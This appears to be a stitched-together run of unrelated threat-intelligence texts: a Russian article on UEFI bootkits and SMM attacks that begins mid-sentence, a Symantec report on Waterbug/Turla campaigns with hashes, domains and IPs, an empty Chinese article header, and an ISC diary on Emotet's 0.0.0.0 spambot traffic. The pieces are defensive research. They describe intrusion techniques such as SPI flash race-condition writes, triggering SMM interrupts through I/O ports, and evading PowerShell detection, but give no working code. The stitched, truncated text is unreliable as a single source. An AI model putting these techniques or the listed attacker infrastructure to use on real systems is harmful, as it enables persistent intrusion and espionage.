загрузки) и EFI Runtime Services Table (службы доступны и в процессе загрузки, и в процессе работы ядра ОС). API-интерфейс необходим, чтобы взаимодействовать с оборудованием, выделять память и выполнять другие простые функции по аналогии с WinAPI. Как мы уже говорили ранее, прошивку UEFI можно дополнять модулями. Утилита UEFI Tool позволяет парсить файлы прошивок различных вендоров. Например, файл прошивки Asus содержит множество драйверов и модулей. С помощью этой утилиты в процессе разработки можно менять, удалять или добавлять модули в зависимости от случая. При переходе к UEFI такие компоненты, как MBR и VBR, исчезают, и их функции частично берут на себя другие модули. В UEFI процессор тоже стартует в реальном режиме, но переключение происходит на раннем этапе исполнения кода прошивки. За счет этого компоненты, которые находятся в файловой системе и затрагивают ОС, сразу работают в защищенном режиме. Код UEFI достаточно сложный. Он включает семь стадий работы прошивки: Security, Pre-EFI Initialization, Driver Execution Environment, Boot Device Selection, Transient System Load, Runtime и Afterlife. Что интересно, работа на стадии SEC происходит во временной памяти, формирующейся из кэша процессора. На этом уровне прошивка становится корнем доверия всей системы. На стадии DXE выполняются DXE-драйверы для устройств. Именно на данном этапе злоумышленникам удобнее всего встраивать вредоносные сущности в полезную нагрузку. BDS — стадия выбора загрузочного устройства, которое отвечает за запуск ОС. Runtime — стадия работы ОС. Afterlife — стадия завершения работы компьютера. NVRAM-переменные помогают UEFI понимать, с какого устройства требуется загрузиться. Они хранятся в энергонезависимой памяти. Есть стандартные переменные и те, которые определяют разработчики платформ. Например, переменные db и dbx используются Secure Boot, они содержат базу данных с ключами и хешами. Нам интересна переменная BootOrder, определяющая порядок загружаемых устройств, и переменная Boot#### с номером устройства. Если рассмотреть дамп переменной Boot004 (она относится к первому устройству в списке BootOrder), можно обнаружить путь к менеджеру загрузки bootmgfw.efi. Так переменная указывает прошивке, где искать менеджер загрузки. В переменной также есть отсылка в виде GUID на хранилище параметров загрузки BCD (Boot Configuration Data). В зависимости от системы важные данные можно сохранять непосредственно в NVRAM-область. Ниже представлена схема диска, размеченного с помощью GPT. В нулевом секторе расположен Protective MBR. Его формат предполагает всего один раздел, описывающий весь диск. Намеренно указывается специальный диск этого раздела: это необходимо, чтобы компьютер без поддержки UEFI мог распознать диск формата GPT и случайно не затер его. В первом секторе размещен заголовок. Он содержит параметры диска, разметку и адреса смещения данных. За первым сектором следует таблица разделов. В ней 128 элементов, каждый из которых описывает определенный логический раздел на диске. Больше всего интересен первый элемент — type (член структуры, описывающей раздел), который позволяет найти раздел EFI System Partition. Там расположен менеджер загрузки. Раздел EFI System Partition имеет структуру формата FAT32, содержит таблицы кластеров, адрес корневой директории и древовидную структуру расположения всех файлов. Его можно распарсить, прочитать и найти все необходимые файлы. Например, для Windows есть специальная утилита mountvol.exe, позволяющая смонтировать по умолчанию скрытый раздел EFI System Partition и посмотреть его содержимое. Для этого необходимо указать ключ /S и букву диска, куда его следует смонтировать. В директории, которая была в NVRAM-переменной, находится файл менеджера загрузки. Помимо него, там есть и другие файлы: модуль, отвечающий за работу отладчика, и файл BCD (куст реестра с BCD-параметрами). Параметры будут необходимы в процессе работы менеджера загрузки и инициализации системы. Менеджер загрузки является UEFI-приложением, поэтому должен соответствовать соглашению о точке входа. Точка входа менеджера загрузки имеет определенную сигнатуру. Ее второй параметр — SystemTable — указывает на структуру, которая, в свою очередь, содержит указатели на таблицу RuntimeServices и таблицу BootServices. Их задача — предоставить API-интерфейс для работы с оборудованием. Давайте обобщим ключевые отличия загрузки в режиме UEFI от загрузки в режиме Legacy BIOS: - переключение режимов выполняется UEFI на ранней стадии; - для работы с оборудованием используется API-интерфейс, в частности RuntimeServices и BootServices; - менеджер загрузки (bootmgf.efi) инициализирует механизм проверки целостности кода (Code Integrity); - загрузчик ОС winload.efi заворачивает UEFI-сервисы для использования ядром через HAL. ## Изучаем Secure Boot На наш взгляд, самый интересный компонент прошивки UEFI — Secure Boot. Его архитектура хорошо описана и проиллюстрирована в книге «Руткиты и буткиты. Обратная разработка вредоносных программ и угрозы следующего поколения» за авторством Алекса Матросова, Евгения Родионова и Сергея Братуся. В основе Secure Boot лежит набор ключей разного уровня. Самый важный среди них — platform key (PK), который содержится в прошивке. Начальный PK верифицирует key exchange key (KEK). Стоит отметить, что существует две базы ключей: - db — база ключей для аутентификации, отвечает за проверку подписей модулей; - dbx — база запрещенных ключей и хешей. Согласно алгоритму работы Secure Boot, при загрузке нового модуля проверяется не только его подпись, но и хеш. Дело в том, что бывают модули UEFI-драйверов с абсолютно легитимными подписями. При обнаружении критически опасной уязвимости, даже если модуль пройдет проверку подписи, но его хеш будет отмечен в базе исключений, он не будет допущен к загрузке и исполнению. UEFI-модули могут быть двух форматов: - Portable Executable (привычный для Windows); - Terse Executable. Этот формат похож на Portable Executable, но лишен части полей и имеет другие сигнатуры. ## Как работает UEFI-буткит Есть два варианта заражения: 1. Заражение прошивки. 2. Заражение в EFI System Partition, в частности: - подмена bootmgfw.efi; - добавление нового модуля. Известны успешные атаки, в ходе которых злоумышленникам удавалось перезаписать код в SPI-чипе, то есть, по сути, заразить его. Позднее появилась пара буткитов, нацеленных на компрометацию менеджера загрузки. На данный момент мы можем выделить два вектора атаки на UEFI-платформу: перепрошивка SPI и модификация менеджера загрузки. Касательно второго вектора следует выделить частный случай добавления нового модуля в раздел EFI System Partition и последующего изменения пути в NVRAM-переменной, которая указывает, с какого устройства необходимо загрузиться. ### Первая ласточка — буткит LoJax Первый UEFI-буткит был найден и описан специалистами ESET. В LoJax использовался подход перезаписи содержимого прошивки. Другими словами, он считывал прошивку, находил маркеры, что-то добавлял и записывал обратно. Важно понимать, что чип SPI представляет собой некое PCI-устройство. Следовательно, чтобы с ним взаимодействовать нужен особый интерфейс. Поэтому чтение и запись содержимого чипа — это многоступенчатая и сложная операция, включающая работу с различными флагами и параметрами. Если изучить код одного из модулей LoJax, умеющих читать и писать в SPI, можно убедиться, что это действительно PCI-устройство. В модуле прописан PCI-адрес устройства, а с устройством этот модуль взаимодействует посредством драйвера с помощью функции DeviceIoControl. Интерфейс работы с SPI непрозрачен. Кроме того, механизмы безопасности защищают его от простого считывания. В случае LoJax в основу подхода по компрометации легла эксплуатация уязвимости race condition. Стоит отметить, что данная уязвимость присутствует не во всех системах. У SPI-чипа есть набор флагов, управляющих не только разрешением на запись, но и его блокировкой. Один из флагов можно сбросить с помощью кода, работающего в режиме System Management Mode (SMM). Это привилегированный режим, в котором приостанавливается исполнение другого кода, в том числе кода ОС и гипервизора. Как только происходит попытка записи, SMM блокирует возможность записывать. Поэтому создатели буткитов используют два потока. Таким способом они одновременно пытаются сбросить защитные флаги и записать что-то в чип. Чтобы взаимодействовать c PCI-устройством, LoJax использует драйвер в составе утилиты Read & Write Everything. Утилита позволяет работать с низкоуровневыми компонентами системы: физической памятью, устройствами ввода-вывода и другими. Чтобы выполнять функции чтения-записи физической памяти, взаимодействия с устройствами и различными низкоуровневыми подсистемами и настройками, она имеет подписанный легитимный драйвер, который как раз и использовали разработчики LoJax. Отметим, что PCI-устройства должны следовать соглашениям и в том числе иметь в своем составе блок данных PCI Configuration Space. PCI Configuration Space находится непосредственно в PCI-устройстве. Чтобы читать этот блок или записывать в него, есть два порта ввода-вывода: 0xCF8 и 0xCFC. Через порт PCI_COFIG_ADDRESS указывается адрес внутри блока данных, откуда можно считать (read) или записать (write) данные. Так, можно считать данные из PCI Configuration Space, например идентификатор устройства или его производителя, а также специфические для этого устройства значения. Порт PCI_CONFIG_DATA используется для считывания и записи данных. Направление зависит от применяемой инструкции: IN — считывание, OUT — запись. Кроме того, у PCI-устройства есть Base Address Registers — область, содержащая специфические значения для данного устройства. Например, адрес в физической памяти, куда отображены управляющие регистры SPI. По сути, за счет взаимодействия с PCI-регистрами, отображенными в физической памяти, и выполняется чтение прошивки и запись в нее. Обращаем внимание, что в памяти отображается не содержимое чипа, а, например, четыре или восемь байтов, каждый из которых может быть либо флагом, либо управляющим значением. Эти значения изменяются — и выполняется взаимодействие. Если расписать последовательность шагов, то сначала мы: - считываем PCI-регистры из Base Address Registers с помощью портов CF8 и CFC; - получаем адрес регистров, отображенных в физической памяти; - пишем в отображенные регистры команды управления, в частности указываем адрес, откуда необходимо считать новую прошивку. Все перечисленные операции выполняются в цикле. Он включает установку контрольного флага, начало чтения (или записи) и изменение дополнительных параметров. Эти, на первый взгляд, сложные манипуляции помогают буткиту LoJax достичь цели: записать вредоносный код в прошивку, заменить модуль с легитимным кодом на свой и исполнить его на ранней стадии загрузки системы. Так он будет недосягаем для антивирусов и других средств защиты, а атакующие смогут получить необходимый им persist. ### Знакомьтесь: MosaicRegressor Еще один интересный буткит — MosaicRegressor, исследованный специалистами «Лаборатории Касперского». В его случае начальный вектор заражения неизвестен, то есть никто не знает, как буткит был установлен. В зараженной прошивке исследователи обнаружили четыре модуля, два драйвера и два приложения, исполняющих вредоносную нагрузку. Рассмотрим их подробнее. Первым исполняется модуль SmmInterfaceBase. В его задачу входит создание с помощью API-функции CreateEventEx события EVENT_GROUPR_READY_TO_BOOT. Это событие наступает перед тем, как управление передается менеджеру загрузки. Тогда же вызывается обратный вызов NotifyFunction. Интересно, что происходит внутри callback? Давайте посмотрим. С помощью уникального идентификатора приложения (GUID) обнаруживается модуль SmmAccessSub. Затем он запускается. В этом модуле SmmAccessSub, по нашему мнению, довольно тривиальный подход к persist. Он заключается в сбросе пользовательского модуля в папку Startup. При этом никаких действий с драйверами или подмен не происходит. Еще одним модулем в зараженной прошивке был SmmReset. Он сбрасывает значение EFE до нуля. Буткит MosaicRegressor не использует SmmReset, однако модуль для работы с точно такой же переменной есть в утекшем репозитории Hacking Team и применяется, чтобы определить, заражена прошивка или нет. ### MoonBounce — самый примечательный экземпляр MoonBounce можно назвать новинкой в списке буткитов, угрожающих UEFI. Его обнаружили в конце января 2022 года. Вредонос отличает сложная и интересная схема заражения. Так же, как и в случае с MosaicRegressor, начальный вектор проникновения неизвестен. В прошивке буткит начинает работать до стадии исполнения драйверов. При этом вредоносные действия выполняются не в драйвере, а непосредственно в коде прошивки — в начале стадии DXE. Принцип работы MoonBounce следующий: буткит перехватывает несколько функций Boot-сервисов. Первая функция размещает в памяти шеллкод уровня Ring 0, другая — перехватывает функцию, которая передает управление ядру ОС, а затем перехватывает функцию выделения памяти внутри ядра ExAllocatePool. Все это MoonBounce делает, чтобы исполнить шеллкод, который был «замаплен» еще на стадии работы прошивки. Дальше в дело вступает сам шеллкод: он загружает и вызывает вредоносный драйвер, который обладает возможностями руткита. Как вы, наверное, уже поняли, необычно здесь то, что случилось не «аккуратное внедрение» модуля, а заражение всей прошивки. ## Атаки на Boot-менеджеры Атаки на Boot-менеджеры рассмотрим на примере буткитов FinSpy и ESPecter. FinSpy, также известный как FinFisher, подменяет оригинальный менеджер загрузки на вредоносный. В частности, при передаче управления от UEFI к менеджеру загрузки вызывается вредоносный менеджер, который выполняет некоторые функции (например, перехватывает функции передачи управления ядру или патчит код, ответственный за проверку цифровых подписей), а затем загружается оригинальный Boot-менеджер. Для заражения раздела EFI System Partition злоумышленникам достаточно воспользоваться банальным набором API. Это позволяет им смонтировать раздел и в дальнейшем работать с ним, как с любым другим диском. Алгоритм работы FinSpy выглядит так: - подмененный Boot-менеджер загружает оригинальный Boot-менеджер; - подменный менеджер патчит в оригинальном функцию, передающую управление сначала загрузчику, а затем ядру. Второе действие позволяет перехватить ядерную функцию создания системного потока. Она, в свою очередь, дает возможность сбросить вредоносную нагрузку. Прошивка UEFI в этой атаке затронута не была. ESPecter замыкает пятерку буткитов, на текущий момент известных исследователям. Его корни уходят как минимум в 2012 год. В процессе своей работы ESPecter патчит менеджер загрузки, чтобы заменить легитимный драйвер (либо beep.sys, либо winsys.dll) на вредоносный. Кроме того, загрузчик буткита патчит проверку целостности загрузчика. Буткит ESPecter отключает проверку цифровой подписи драйверов, чтобы загрузить в систему подменный beep.sys или winsys.dll и запустить его. Вредоносный код, позволяющий обойти проверку цифровой подписи, используется для legacy-систем. ## Что это за зверь такой — System Management Mode Рассказывая о буткитах, нельзя не упомянуть System Management Mode — привилегированный режим работы процессора. Он необходим для управления электропитанием и проприетарными функциями (их определяют сами вендоры). Режим SMM, который часто еще называют Ring -2, непрозрачен для ОС. Переходя в него, процессор может выполнять код. Код обычно находится в области памяти SMRAM. Она начинается с адреса SMBASE. SMBASE по дефолту имеет фиксированный адрес, но также может меняться с помощью специальных MSR-регистров. В режиме SMM процессор сохраняет весь свой контекст (значения почти всех регистров в верхней области памяти). Перейти в режим SMM процессор может несколькими способами. Например, он может выполнить прерывание (System Management Interrupt, SMI). Выделяют три вида прерывания: - аппаратное, - системное, - программное. С позиции атакующего системные прерывания сложны в реализации. Тогда как программные вполне можно вызвать кодом на уровне драйвера. Для этого на порты b3 и b2 необходимо отправить определенное значение (оно отличается для разных устройств), и процессор переключится в режим SMM. Режим SMM опасен еще и тем, что имеет доступ ко всей памяти системы. Из этого вырисовывается несколько возможных вариантов эксплуатации: использование руткита с доступом к системе либо перезапись содержимого чипа SPI. SMM имеет много уязвимостей, преимущественно вендороспецифичных, например, SMM Callout, которая позволяет выполнить код в режиме SMM за пределами SMRAM. Убедиться в неиллюзорности угроз можно, ознакомившись со списком уязвимостей. По большей части они характерны либо для конкретного девайса, либо фреймворка. ## Резюме В заключение кратко перечислим главные моменты статьи: - UEFI-буткиты могут обойти все механизмы защиты и получить контроль над всей системой; - SPI-буткит невозможно удалить ни переустановкой ОС, ни форматированием жесткого диска; - для борьбы с буткитами есть механизмы защиты, такие как Secure Boot и Intel Boot Guard, но они не панацея; - наибольшую опасность сегодня представляют уязвимости в режиме SMM и подсистеме Intel ME. Как эффективно обнаруживать UEFI-буткиты, расскажем на следующем вебинаре. Stay tuned!
# Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments The Waterbug espionage group (aka Turla) has continued to attack governments and international organizations over the past eighteen months in a series of campaigns that have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking of another espionage group’s infrastructure. ## Three Waves of Attacks Recent Waterbug activity can be divided into three distinct campaigns, characterized by differing toolsets. One campaign involved a new and previously unseen backdoor called Neptun (Backdoor.Whisperer). Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers. This passive listening capability makes the malware more difficult to detect. Neptun is also able to download additional tools, upload stolen files, and execute shell commands. One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus (aka OilRig, APT34). A second campaign used Meterpreter, a publicly available backdoor along with two custom loaders, a custom backdoor called photobased.dll, and a custom Remote Procedure Call (RPC) backdoor. Waterbug has been using Meterpreter since at least early 2018 and, in this campaign, used a modified version of Meterpreter, which was encoded and given a .wav extension in order to disguise its true purpose. The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. This tool is designed to bypass detection aimed at identifying malicious PowerShell usage. Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry to avoid them being written to the file system. ## Retooled Waterbug’s most recent campaigns have involved a swath of new tools including custom malware, modified versions of publicly available hacking tools, and legitimate administration tools. The group has also followed the current shift towards “living off the land,” making use of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes on other systems. Aside from new tools already mentioned above, Waterbug has also deployed: - A new custom dropper typically used to install Neptun as a service. - A custom hacking tool that combines four leaked Equation Group tools (EternalBlue, EternalRomance, DoublePulsar, SMBTouch) into a single executable. - A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file. It then uses WebDAV to upload to a Box cloud drive. - Visual Basic scripts that perform system reconnaissance after initial infection and then send information to Waterbug command and control (C&C) servers. - PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C&Cs. - Publicly available tools such as IntelliAdmin to execute RPC commands, SScan and NBTScan for network reconnaissance, PsExec for execution and lateral movement, and Mimikatz (Hacktool.Mimikatz) for credential theft, and Certutil.exe to download and decode remote files. These tools were identified being downloaded via Waterbug tools or infrastructure. ## Victims These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors. Since early 2018, Waterbug has attacked 13 organizations across 10 different countries: - The Ministry of Foreign Affairs of a Latin American country - The Ministry of Foreign Affairs of a Middle Eastern country - The Ministry of Foreign Affairs of a European country - The Ministry of the Interior of a South Asian country - Two unidentified government organizations in a Middle Eastern country - One unidentified government organization in a Southeast Asian country - A government office of a South Asian country based in another country - An information and communications technology organization in a Middle Eastern country - Two information and communications technology organizations in two European countries - An information and communications technology organization in a South Asian country - A multinational organization in a Middle Eastern country - An educational institution in a South Asian country ## Hijacked Infrastructure One of the most interesting things to occur during one of Waterbug’s recent campaigns was that during an attack against one target in the Middle East, Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware onto the victim’s network. Press reports have linked Crambus and Waterbug to different nation states. While it is possible that the two groups may have been collaborating, Symantec has found no further evidence to support this. In all likelihood, Waterbug’s use of Crambus infrastructure appears to have been a hostile takeover. Curiously though, Waterbug also compromised other computers on the victim’s network using its own infrastructure. During this attack, a customized variant of the publicly available hacking tool Mimikatz was downloaded to a computer on the victim’s network from known Crambus-controlled network infrastructure. Mimikatz was downloaded via the Powruner tool and the Poison Frog control panel. Both the infrastructure and the Powruner tool have been publicly tied to Crambus by a number of vendors. Both were also mentioned in recent leaks of documents tied to Crambus. Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug. It was heavily modified, with almost all original code stripped out aside from its sekurlsa::logonpasswords credential stealing feature. Waterbug has frequently made extensive modifications to publicly available tools, something Crambus is not well known for. The variant of Mimikatz used was packed with a custom packing routine that has not been seen before in any non-Waterbug malware. Waterbug used this same packer on a second custom variant of Mimikatz and on a dropper for the group’s custom Neuron service (Trojan.Cadanif). Its use in the dropper leads us to conclude that this custom packer is exclusively used by Waterbug. Additionally, this version of Mimikatz was compiled using Visual Studio and the publicly available bzip2 library which, although not unique, has been used by other Waterbug tools previously. Aside from the attack involving Crambus infrastructure, this sample of Mimikatz has only been seen used in one other attack, against an education target in the UK in 2017. On that occasion, Mimikatz was dropped by a known Waterbug tool. In the case of the attack against the Middle Eastern target, Crambus was the first group to compromise the victim’s network, with the earliest evidence of activity dating to November 2017. The first observed evidence of Waterbug activity came on January 11, 2018, when a Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped onto a computer on the victim’s network. The next day, January 12, the aforementioned variant of Mimikatz was downloaded to the same computer from a known Crambus C&C server. Two further computers on the victim’s network were compromised with Waterbug tools on January 12, but there is no evidence that Crambus infrastructure was used in these attacks. While one of these computers had been previously compromised by Crambus, the other showed no signs of Crambus intrusion. Waterbug’s intrusions on the victim’s network continued for much of 2018. On September 5, 2018, a similar Mimikatz variant was dropped by Waterbug’s Neptun backdoor onto another computer on the network. At around the same time, other Waterbug malware was seen on the victim’s network which communicated with known Waterbug C&C servers. Finally, the issue was clouded further by the appearance of a legitimate systems administration tool called IntelliAdmin on the victim’s network. This tool is known to have been used by Crambus and was mentioned in the leak of Crambus documents. However, in this case, IntelliAdmin was dropped by custom Waterbug backdoors, including the newly identified Neptun backdoor, on computers that had not been affected by the Crambus compromise. The incident leaves many unanswered questions, chiefly relating to Waterbug’s motive for using Crambus infrastructure. There are several possibilities: 1. **False flag**: Waterbug does have a track record of using false flag tactics to throw investigators off the scent. However, if this was a genuine attempt at a false flag operation, it begs the question of why it also used its own infrastructure to communicate with other machines on the victim’s network, in addition to using tools that could be traced back to Waterbug. 2. **Means of intrusion**: It is possible that Waterbug wanted to compromise the target organization, found out that Crambus had already compromised its network, and hijacked Crambus’s own infrastructure as a means of gaining access. Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim’s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial access point. 3. **Mimikatz variant belonged to Crambus**: There is a possibility that the version of Mimikatz downloaded by the Crambus infrastructure was actually developed by Crambus. However, the compilation technique and the fact that the only other occasion it was used was linked to Waterbug works against this hypothesis. The fact that Waterbug also appeared on the victim’s network around the same time this version of Mimikatz was downloaded would make it an unlikely coincidence if the tool did belong to Crambus. 4. **Opportunistic sowing of confusion**: If a false flag operation wasn’t planned from the start, it is possible that Waterbug discovered the Crambus intrusion while preparing its attack and opportunistically used it in the hopes of sowing some confusion in the mind of the victim or investigators. Based on recent leaks of Crambus internal documents, its Poison Frog control panel is known to be vulnerable to compromise, meaning it may have been a relatively trivial diversion on the part of Waterbug to hijack Crambus’s infrastructure. A compromise conducted by one threat actor group through another's infrastructure, or fourth party collections, has been previously discussed in a 2017 white paper by Kaspersky researchers. ## Further Campaigns Waterbug has also mounted two other campaigns over the past year, each of which was characterized by separate tools. These campaigns were wide-ranging, hitting targets in Europe, Latin America, and South Asia. In the first campaign, Waterbug used two versions of a custom loader named javavs.exe (64-bit) and javaws.exe (32-bit), to load a custom backdoor named PhotoBased.dll and run the export function GetUpdate on the victim’s computers. The backdoor will modify the registry for the Windows Media Player to store its C&C configuration. It also reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool. The backdoor has the capability to download and upload files, execute shell commands, and update its configuration. The javaws.exe loader is also used to run another loader named tasklistw.exe. This is used by the attackers to decode and execute a series of malicious executables that download Meterpreter to the infected computer. The attackers also install another backdoor that runs a command shell via the named pipe cmd_pipe. Both backdoors allow the attackers to execute various commands that provide full control of the victim’s system. Waterbug also used an older version of PowerShell, likely to avoid logging. In the second campaign, Waterbug used an entirely different backdoor, named securlsa.chk. This backdoor can receive commands through the RPC protocol. Its capabilities include: - Executing commands through cmd.exe with the output redirected into a temporary file - Reading the command output contained in the temporary file - Reading or writing arbitrary files This RPC backdoor also included source code derived from the tool PowerShellRunner, which allows a user to run PowerShell scripts without executing powershell.exe, therefore the user may bypass detection aimed at identifying malicious PowerShell usage. While both campaigns involved distinct tools during the initial compromise phase, there were also many similarities. Both were characterized by the use of a combination of custom malware and publicly available tools. Also, during both campaigns Waterbug executed multiple payloads nearly simultaneously, most likely to ensure overlapping access to the network if defenders found and removed one of the backdoors. Waterbug took several steps to avoid detection. It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions. The group also used GitHub as a repository for tools that it downloaded post-compromise. This too was likely motivated by a desire to evade detection, since GitHub is a widely trusted website. It used Certutil.exe to download files from the repository, which is an application whitelist bypass technique for remote downloads. In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest. It then packages stolen files into a password-protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box account. ## Unanswered Questions This is the first time Symantec has observed one targeted attack group seemingly hijack and use the infrastructure of another group. However, it is still difficult to ascertain the motive behind the attack. Whether Waterbug simply seized the opportunity to create confusion about the attack or whether there was more strategic thinking involved remains unknown. Waterbug’s ever-changing toolset demonstrates a high degree of adaptability by a group determined to avoid detection by staying one step ahead of its targets. Frequent retooling and a penchant for flirting with false flag tactics have made this group one of the most challenging adversaries on the targeted attack landscape. ## Protection/Mitigation Symantec has the following protection in place to protect customers against these attacks: - File-based protection - Backdoor.Whisperer - Hacktool.Mimikatz ## Indicators of Compromise **Campaign 1** - 24fe571f3066045497b1d8316040734c81c71dcb1747f1d7026cda810085fad7 - 66893ab83a7d4e298720da28cd2ea4a860371ae938cdd86035ce920b933c9d85 - 7942eee31d8cb1c8853ce679f686ee104d359023645c7cb808361df791337145 - 7bd3ff9ba43020688acaa05ce4e0a8f92f53d9d9264053255a5937cbd7a5465e - a1d9f5b9ca7dda631f30bd1220026fc8c3a554d61db09b5030b8eb9d33dc9356 - c63f425d96365d906604b1529611eefe5524432545a7977ebe2ac8c79f90ad7e - cb7ecd6805b12fdb442faa8f61f6a2ee69b8731326a646ba1e8886f0a5dd61e0 - db9902cb42f6dc9f1c02bd3413ab3969d345eb6b0660bd8356a0c328f1ec0c07 - e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea - 5da013a64fd60913b5cb94e85fc64624d0339e09d7dce25ab9be082f0ca5e38b - c8a864039f4d271f4ab6f440cbc14dffd8c459aa3af86f79f0619a13f67c309f - 588fd8eba6e62c28a584781deefe512659f6665daeb8c85100e0bf7a472ad825 - cda5b20712e59a6ba486e55a6ab428b9c45eb8d419e25f555ae4a7b537fc2f26 - 694d9c8a1f0563c08e0d3ab7d402ffbf5a0fa11340c50fba84d709384ccef021 - caaed70daa7832952ae93f41131e74dcb6724bb8669d18f28fbed4aa983fdc0c - 493eee2c55810201557ef0e5d134ca0d9569f25ae732df139bb0cb3d1478257f - 0e9c3779fece579bed30cb0b7093a962d5de84faa2d72e4230218d4a75ee82bc - 5bbeed53aaa40605aabbfde31cbfafd5b92b52720e05fa6469ce1502169177a0 - d153e4b8a11e2537ecf99aec020da5fad1e34bbe79f617a3ee5bc0b07c3abdca - vision2030.tk - vision2030.cf - dubaiexpo2020.cf - microsoft.updatemeltdownkb7234.com - codewizard.ml - updatenodes.site **Campaign 2** - 10d1bfd5e8e1c8fa75756a9f1787c3179da9ab338a476f1991d9e300c6186575 - 3fbec774da2a145974a917aeb64fc389345feb3e581b46d018077e28333601a5 - 52169d7cdd01098efdde4da3fb22991aaa53ab9e02db5d80114a639bf65bce39 - 56098ed50e25f28d466be78a36c643d19fedc563a2250ae86a6d936318b7f57e - 595a54f0bbf297041ce259461ae8a12f37fb29e5180705eafb3668b4a491cecc - 5dc26566b4dec09865ea89edd4f9765ef93e789870ed4c25fcc4ebad19780b40 - 6b60b27385738cac65584cf7d486913ff997c66d97a94e1dde158c9cd03a4206 - 846a95a26aac843d1fcec51b2b730e9e8f40032ee4f769035966169d68d144c4 - c4a6db706c59a5a0a29368f80731904cc98a26e081088e5793764a381708b1ea - d0b99353cb6500bb18f6e83fe9eed9ce16e5a8d5b940181e5eafd8d82f328a59 - ee7f92a158940a0b5d9b902eb0ed9a655c7e6ba312473b1e2c9ef80d58baa6dd - 94.249.192.182 **Campaign 3** - 454e6c3d8c1c982cd301b4dd82ec3431935c28adea78ed8160d731ab0bed6cb7 - 4ecb587ee9b872747408c00de5619cb6b973e7d39ce4937655c5d1a07b7500fc - 528e2567e24809d2d0ba96fd70e41d71c18152f0f0c4f29ced129ed7701fa42a - 6928e212874686d29c85eac72553ccdf89aacb475c61fa3c086c796df3ab5940 - b22bbda8f504f8cced886f566f954cc245f3e7c205e57139610bbbff0412611c - d52b08dd27f2649bad764152dfc2a7dea0c8894ce7c20b51482f4a4cf3e1e792 - e7e41b3d7c0ee2d0939bb56d797eaf2dec44516ba54b8bf1477414b03d4d6e48 - ec3da59d4a35941f6951639d81d1c5ff73057d9cf779428d80474e9656db427c - fbefe503d78104e04625a511528584327ac129c3436e4df09f3d167e438a1862 - markham-travel.com - zebra.wikaba.com - 185.141.62.32 - 212.21.52.110 Symantec’s managed adversary and threat intelligence (MATI) team of intelligence analysts and researchers are dedicated to understanding the adversary ecosystem and providing insightful customer reports detailing their plans, tactics, tools, and campaigns.
# 游走在东欧和中亚的奇幻熊 高级威胁研究院 360威胁情报中心 收录于合集 ## APT-C-20 奇幻熊 2 个 ## 东欧地区 11 个 ## APT 61 个
# 0.0.0.0 in Emotet Spambot Traffic **Published:** 2022-01-19 **Last Updated:** 2022-01-19 03:39:21 UTC **by Brad Duncan (Version: 1)** ## Introduction Emotet often uses information from emails and address books stolen from infected Windows hosts. Malicious spam (malspam) from Emotet spoofs legitimate senders to trick potential victims into running malicious files. Additionally, Emotet uses IP address 0.0.0.0 in spambot traffic, possibly attempting to hide the actual IP address of an Emotet-infected host. This ISC diary reviews the spoofed 0.0.0.0 address used in a recent Emotet infection from Tuesday 2022-01-18. ## Scenes from an infection Both Emotet botnets (dubbed by researchers as "epoch 4" and "epoch 5") resumed activity after the recent holiday season, and malicious spam started approximately one week ago on Tuesday 2022-01-11. Most Windows hosts I've infected with Emotet in my lab will start spamming within an hour or less after the initial infection. Refer to the images below for activity from a recent Emotet infection on 2022-01-18. Enable macros in a downloaded spreadsheet, and they will infect a vulnerable Windows host. This is standard operating procedure for Emotet. ## Emotet spambot traffic using 0.0.0.0 Right as the spambot activity starts, the following DNS queries are made using domains related to spam filtering: - 0.0.0.0.spam.abuse.ch - 0.0.0.0.b.barracudacentral.org - 0.0.0.0.bl.mailspike.net - 0.0.0.0.spam.dnsbl.sorbs.net - 0.0.0.0.zen.spamhaus.org Similar DNS queries, but without the 0.0.0.0, are generated during Trickbot infections. However, Trickbot uses the infected host's public IP address data in the DNS query. In addition to DNS queries, Emotet uses 0.0.0.0 during SMTP communications. This happens whenever an Emotet-infected host tries sending malspam to a targeted mailserver. The SMTP command is EHLO [0.0.0.0]. This attempt does not hide the actual IP address of an Emotet-infected host, because it still appears elsewhere in the SMTP traffic. But 0.0.0.0 can be an indicator of emails pushing Emotet or other malware. ## Final words While 0.0.0.0 is an indicator for Emotet or other malware, you can find up-to-date indicators for Emotet malware samples, URLs, and C2 IP addresses at: - https://urlhaus.abuse.ch/browse/tag/emotet/ - https://feodotracker.abuse.ch/browse/emotet/ - https://bazaar.abuse.ch/browse/tag/Emotet/ - https://threatfox.abuse.ch/browse/malware/win.emotet/ --- **Brad Duncan** brad [at] malware-traffic-analysis.net **Keywords:** Emotet
